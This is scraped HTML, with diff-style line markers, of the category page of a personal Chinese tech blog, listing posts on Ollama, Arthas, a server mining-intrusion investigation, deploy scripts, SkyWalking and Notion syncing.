fa-folder"></i>心情随笔<!-- -->(<!-- -->1<!-- -->)</div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>Category | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Category | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//category"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Category | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/category-e360d24a90d47a84.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="bg-white dark:bg-gray-700 py-10"><div class="dark:text-gray-200 mb-5"><i class="mr-4 fas fa-th"></i>Category<!-- -->:</div><div id="category-list" class="duration-200 flex flex-wrap"><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E7%9F%A5%E8%A1%8C%E5%90%88%E4%B8%80"><i class="mr-4 fas fa-folder"></i>知行合一<!-- -->(<!-- -->1<!-- -->)</div><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB"><i class="mr-4 fas fa-folder"></i>技术分享<!-- -->(<!-- -->6<!-- -->)</div><div class="hover:text-black dark:hover:text-white dark:text-gray-300 dark:hover:bg-gray-600 px-5 cursor-pointer py-2 hover:bg-gray-100" href="/category/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94"><i class="mr-4 fas fa-folder"></i>心情随笔<!-- -->(<!-- -->1<!-- -->)</div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=